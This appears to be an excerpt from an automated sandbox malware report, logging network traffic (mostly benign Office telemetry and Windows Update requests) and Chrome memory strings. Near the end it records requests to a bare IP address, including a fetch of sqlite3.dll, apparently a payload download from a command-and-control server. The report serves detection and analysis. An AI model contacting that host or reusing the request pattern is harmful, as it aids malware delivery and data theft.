Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=w1NrhScwMP4Pzkz&MD=PmcYeuu9 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.88.76.238Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /11d003c031fcb1b4/sqlite3.dll HTTP/1.1Host: 45.88.76.238Cache-Control: no-cache

Source: chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2304718840.0000279002B38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: /www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2304718840.0000279002B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @www.youtube.com/?feature=ytca E equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000003.2184868012.0000279003180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2185285211.000027900260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2184458058.000027900258C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000002.00000003.2184868012.0000279003180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2185285211.000027900260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2184458058.000027900258C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px 